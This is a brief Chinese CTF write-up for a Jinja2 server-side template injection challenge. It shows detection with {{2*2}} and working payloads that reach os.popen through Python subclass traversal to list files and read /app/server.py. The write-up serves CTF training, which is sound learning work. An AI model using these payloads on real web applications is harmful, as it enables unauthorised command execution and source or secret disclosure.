[第三章 web 进阶] SSTI——WP

解题思路:

1、题目提示为SSTI

2、进入网页发现password is wrong

3、猜测password为参数

4、测试是否存在模板注入url?password={{2*2}}

发现存在模板注入

payload:

查看当前目录下有那些文件

?password={{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27]("ls%20-al").read()}}

读取flag

{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27]("cat%20/app/server.py").read()}}

注:基类的子列表[127]为os(这台靶场上的python环境是127,每个python版本不一样,好比python3.9貌似没os了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值